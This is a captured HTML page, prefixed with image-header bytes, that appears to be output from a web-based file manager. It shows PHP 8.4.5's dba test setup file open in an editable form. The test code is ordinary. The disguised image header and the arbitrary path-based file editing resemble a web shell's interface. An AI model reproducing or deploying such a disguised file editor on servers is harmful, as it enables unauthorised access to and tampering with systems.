�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2F'>php-8.4.5</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2F'>ext</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fdba%2F'>dba</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fdba%2Ftests%2F'>tests</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fdba%2Ftests%2Fsetup%2F'>setup</a>/</p><hr><h3>✏️ Editing: setup_dba_tests.inc</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

function check_skip_any() {
    if (dba_handlers() === []) {
        die(&#039;skip no handlers installed&#039;);
    }
    if (dba_handlers() === [&#039;cdb&#039;]) {
        die(&#039;skip only cdb installed which is not suitable&#039;);
    }
    if (dba_handlers() === [&#039;cdb_make&#039;]) {
        die(&#039;skip only cdb_make installed which is not suitable&#039;);
    }
}

function check_skip(string $handler) {
    $handlers = dba_handlers();
    if ($handlers === []) {
        die(&#039;skip no handlers installed&#039;);
    }
    if (!in_array($handler, $handlers)) {
        $HND = strtoupper($handler);
        die(&quot;skip $HND handler not available&quot;);
    }
}

function get_any_handler(): string {
    foreach (dba_handlers() as $handler) {
        // Those are weird
        if ($handler !== &#039;cdb&#039; &amp;&amp; $handler !== &#039;cdb_make&#039; &amp;&amp; $handler !== &#039;inifile&#039;) {
            echo &#039;Using handler: &quot;&#039;, $handler, &#039;&quot;&#039;, \PHP_EOL;
            return $handler;
        }
    }
    return &#039;should_not_happen&#039;;
}
function get_any_db(string $name) {
    return dba_open($name, &#039;c&#039;, get_any_handler());
}

enum LockFlag: string {
    case FileLock = &#039;l&#039;;
    case DbLock = &#039;d&#039;;
    case NoLock = &#039;-&#039;;
}

function set_up_db_ex(string $handler, string $name, LockFlag $lock, bool $persistent = false) {
    $lock_flag = $lock-&gt;value;
    // Open file in creation/truncation mode
    $func = $persistent ? &#039;dba_popen&#039; : &#039;dba_open&#039;;

    $db_file = $func($name, &#039;n&#039;.$lock_flag, $handler);

    if ($db_file === false) {
        die(&quot;Failed to create DB&quot;);
    }

    // Insert some data
    dba_insert(&quot;key1&quot;, &quot;Content String 1&quot;, $db_file);
    dba_insert(&quot;key2&quot;, &quot;Content String 2&quot;, $db_file);
    dba_insert(&quot;key3&quot;, &quot;Third Content String&quot;, $db_file);
    dba_insert(&quot;key4&quot;, &quot;Another Content String&quot;, $db_file);
    dba_insert(&quot;key5&quot;, &quot;The last content string&quot;, $db_file);

    // Insert date with array keys
    dba_insert([&quot;&quot;, &quot;name9&quot;], &quot;Content String 9&quot;, $db_file);
    dba_insert([&quot;key10&quot;, &quot;name10&quot;] , &quot;Content String 10&quot;, $db_file);
    dba_insert(&quot;[key30]name30&quot;, &quot;Content String 30&quot;, $db_file);

    return $db_file;
}

function set_up_db(string $handler, string $name, LockFlag $lock = LockFlag::FileLock): void {
    $db_file = set_up_db_ex($handler, $name, $lock);
    // Close creation/truncation handler
    dba_close($db_file);
}

function run_common_read_only_test($dbHandle): void {
    $key = dba_firstkey($dbHandle);
    $result = [];
    while ($key) {
        $result[$key] = dba_fetch($key, $dbHandle);
        $key = dba_nextkey($dbHandle);
    }
    ksort($result);
    var_dump($result);
}

function run_standard_tests_ex(string $handler, string $name, LockFlag $lock, bool $persistent = false): void
{
    $lock_flag = $lock-&gt;value;
    set_up_db($handler, $name, $lock);
    $db_writer = dba_open($name, &#039;w&#039;.$lock_flag, $handler);
    if ($db_writer === false) {
        die(&quot;Failed to open DB for write&quot;);
    }

    echo &#039;Remove key 1 and 3&#039;, \PHP_EOL;
    var_dump(dba_delete(&quot;key3&quot;, $db_writer));
    var_dump(dba_delete(&quot;key1&quot;, $db_writer));

    echo &#039;Try to remove key 1 again&#039;, \PHP_EOL;
    var_dump(dba_delete(&quot;key1&quot;, $db_writer));

    // Fetch and sort data. We sort to guarantee that the output is
    // consistent across invocations and architectures. When iterating
    // with firstkey() and nextkey(), several engines (GDBM, LMDB,
    // QDBM) make no promise about the iteration order. Others (TCADB,
    // DBM) explicitly state that the order is arbitrary. With GDBM at
    // least, the order appears platform-dependent -- we have a report
    // in Github issue 14786. GDBM&#039;s own test suite sorts this output,
    // suggesting that sorting is a reasonable workaround for the issue.
    $output = [];

    $key = dba_firstkey($db_writer);
    $total_keys = 0;
    while ($key) {
        $output[] = $key . &#039;: &#039; . dba_fetch($key, $db_writer) . \PHP_EOL;
        $key = dba_nextkey($db_writer);
        $total_keys++;
    }

    sort($output, SORT_STRING);
    foreach ($output as $line) {
        echo $line;
    }

    echo &#039;Total keys: &#039;, $total_keys, \PHP_EOL;
    for ($i = 1; $i &lt; 6; $i++) {
        echo &quot;Key $i exists? &quot;, dba_exists(&quot;key$i&quot;, $db_writer) ? &#039;Y&#039; : &#039;N&#039;, \PHP_EOL;
    }

    echo &#039;Replace second key data&#039;, \PHP_EOL;
    var_dump(dba_replace(&#039;key2&#039;, &#039;Content 2 replaced&#039;, $db_writer));
    echo dba_fetch(&#039;key2&#039;, $db_writer), \PHP_EOL;

    // Check that read is possible when a lock is used
    $test_flag = &#039;t&#039;;
    if ($lock === LockFlag::NoLock) {
        // No point testing when we don&#039;t use locks
        $test_flag = &#039;&#039;;
    }
    $db_reader = @dba_open($name, &#039;r&#039;.$lock_flag.$test_flag, $handler);
    if ($db_reader === false) {
        echo &#039;Read during write: not allowed&#039;, \PHP_EOL;
    } else {
        echo &#039;Read during write: allowed&#039;, \PHP_EOL;
        dba_close($db_reader);
    }

    if (dba_insert(&#039;key number 6&#039;, &#039;The 6th value&#039;, $db_writer)) {
        echo &#039;Expected: Added a new data entry&#039;, \PHP_EOL;
    } else {
        echo &#039;Unexpected: Failed to add a new data entry&#039;, \PHP_EOL;
    }

    if (dba_insert(&#039;key number 6&#039;, &#039;The 6th value inserted again would be an error&#039;, $db_writer)) {
        echo &#039;Unexpected: Wrote data to already used key&#039;, \PHP_EOL;
    } else {
        echo &#039;Expected: Failed to insert data for already used key&#039;, \PHP_EOL;
    }

    echo &#039;Replace second key data&#039;, \PHP_EOL;
    var_dump(dba_replace(&#039;key2&#039;, &#039;Content 2 replaced 2nd time&#039;, $db_writer));
    echo &#039;Delete &quot;key4&quot;&#039;, \PHP_EOL;
    var_dump(dba_delete(&#039;key4&#039;, $db_writer));
    echo &#039;Fetch &quot;key2&quot;: &#039;, dba_fetch(&#039;key2&#039;, $db_writer), \PHP_EOL;
    echo &#039;Fetch &quot;key number 6&quot;: &#039;, dba_fetch(&#039;key number 6&#039;, $db_writer), \PHP_EOL;
    dba_close($db_writer); // when the writer is open at least db3 would fail because of buffered io.

    $db_reader = dba_open($name, &#039;r&#039;.$lock_flag, $handler);
    run_common_read_only_test($db_reader);
    dba_close($db_reader);

    /* TODO popen test? Old code copied from the previous general test
    if (($db_file = dba_popen($db_filename, &#039;r&#039;.($lock_flag==&#039;&#039;?&#039;&#039;:&#039;-&#039;), $handler))!==FALSE) {
        if ($handler == &#039;dbm&#039; || $handler == &quot;tcadb&quot;) {
            dba_close($db_file);
        }
    }
     */
}

const MODES = [&#039;r&#039;, &#039;w&#039;, &#039;c&#039;, &#039;n&#039;];
const LOCKS = [&#039;l&#039;, &#039;d&#039;, &#039;-&#039;, &#039;&#039; /* No lock flag is like &#039;d&#039; */];
function run_creation_tests_ex(string $handler, string $file_suffix, string $pre_req): void
{
    $db_name = $handler . $file_suffix;
    foreach (MODES as $mode) {
        foreach (LOCKS as $lock) {
            eval($pre_req);
            $arg = $mode.$lock;
            echo &#039;Mode parameter is &quot;&#039;, $arg, &#039;&quot;:&#039;, \PHP_EOL;
            $db = dba_open($db_name, $arg, $handler);
            if ($db !== false) {
                assert(file_exists($db_name));
                $status = dba_insert(&quot;key1&quot;, &quot;This is a test insert&quot;, $db);
                if ($status) {
                    $fetch = dba_fetch(&quot;key1&quot;, $db);
                    if ($fetch === false) {
                        echo &#039;Cannot fetch insertion&#039;, \PHP_EOL;
                    } else {
                        echo $fetch, \PHP_EOL;
                    }
                } else {
                    echo &#039;Insertion failed&#039;, \PHP_EOL;
                }
                dba_close($db);
            } else {
                echo &#039;Opening DB failed&#039;, \PHP_EOL;
            }
            cleanup_standard_db($db_name);
        }
    }
}

function run_creation_tests(string $handler): void
{
    $extension = $handler === &#039;tcadb&#039; ? &#039;tch&#039; : &#039;db&#039;;
    /* Trying to open a non-existing file */
    echo &#039;=== OPENING NON-EXISTING FILE ===&#039;, \PHP_EOL;
    run_creation_tests_ex($handler, &#039;_not_existing.&#039;.$extension, &#039;&#039;);

    /* Trying to open an existing db file */
    echo &#039;=== OPENING EXISTING DB FILE ===&#039;, \PHP_EOL;
    run_creation_tests_ex($handler, &#039;_existing.&#039;.$extension, &#039;dba_open($db_name, &quot;n&quot;, $handler);&#039;);

    /* Trying to open an existing random file */
    echo &#039;=== OPENING EXISTING RANDOM FILE ===&#039;, \PHP_EOL;
    run_creation_tests_ex($handler, &#039;_random.txt&#039;, &#039;file_put_contents($db_name, &quot;Dummy contents&quot;);&#039;);
}

function clean_creation_tests(string $handler): void {
    $db_name = $handler . &#039;_not_existing.db&#039;;
    cleanup_standard_db($db_name);
    $db_name = $handler . &#039;_existing.db&#039;;
    cleanup_standard_db($db_name);
    $db_name = $handler . &#039;_random.txt&#039;;
    cleanup_standard_db($db_name);
}

function run_standard_tests(string $handler, string $name): void {
    echo &#039;=== RUNNING WITH FILE LOCK ===&#039;, \PHP_EOL;
    ob_start();
    set_up_db($handler, $name, LockFlag::FileLock);
    run_standard_tests_ex($handler, $name, LockFlag::FileLock);
    cleanup_standard_db($name);
    $run1_output = ob_get_flush();
    echo &#039;=== RUNNING WITH DB LOCK (default) ===&#039;, \PHP_EOL;
    ob_start();
    set_up_db($handler, $name, LockFlag::DbLock);
    run_standard_tests_ex($handler, $name, LockFlag::DbLock);
    cleanup_standard_db($name);
    $run2_output = ob_get_clean();
    if ($run1_output === $run2_output) {
        echo &#039;SAME OUTPUT AS PREVIOUS RUN&#039;, \PHP_EOL;
    } else {
        echo $run2_output;
    }

    echo &#039;=== RUNNING WITH NO LOCK ===&#039;, \PHP_EOL;
    ob_start();
    set_up_db($handler, $name, LockFlag::NoLock);
    run_standard_tests_ex($handler, $name, LockFlag::NoLock);
    $run3_output = ob_get_clean();
    if ($run2_output === $run3_output) {
        echo &#039;SAME OUTPUT AS PREVIOUS RUN&#039;, \PHP_EOL;
    } else if ($run2_output === str_replace( // If only the fact that the lock prevented reads
            &#039;Read during write: allowed&#039;,
            &#039;Read during write: not allowed&#039;,
            $run3_output
        )
    ) {
        echo &#039;SAME OUTPUT AS PREVIOUS RUN (modulo read during write due to no lock)&#039;, \PHP_EOL;
    } else {
        echo $run3_output;
    }
}

// TODO Array keys insertion
// TODO Run all lock flags
function set_up_cdb_db_and_run(string $name): void {
    set_up_db(&#039;cdb&#039;, $name);

    $db_file = dba_open($name, &#039;rl&#039;, &#039;cdb&#039;);
    if ($db_file === false) {
        die(&quot;Failed to reopen DB&quot;);
    }
    for ($i = 1; $i &lt; 6; $i++) {
        echo &quot;Key $i exists? &quot;, dba_exists(&quot;key$i&quot;, $db_file) ? &#039;Y&#039; : &#039;N&#039;, \PHP_EOL;
    }
    run_common_read_only_test($db_file);
    dba_close($db_file);

    echo &#039;--NO-LOCK--&#039;, \PHP_EOL;
    cleanup_standard_db($name);
    set_up_db(&#039;cdb&#039;, $name, LockFlag::NoLock);
    $db_file = dba_open($name, &#039;r-&#039;, &#039;cdb&#039;);
    if ($db_file === false) {
        die(&quot;Failed to reopen DB&quot;);
    }
    for ($i = 1; $i &lt; 6; $i++) {
        echo &quot;Key $i exists? &quot;, dba_exists(&quot;key$i&quot;, $db_file) ? &#039;Y&#039; : &#039;N&#039;, \PHP_EOL;
    }
    run_common_read_only_test($db_file);
}

function cleanup_standard_db(string $name): void {
    @unlink($name);
    @unlink($name.&#039;.lck&#039;);
    @unlink($name.&#039;-lock&#039;);
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fdba%2Ftests%2Fsetup'>🔙 Back</a></p>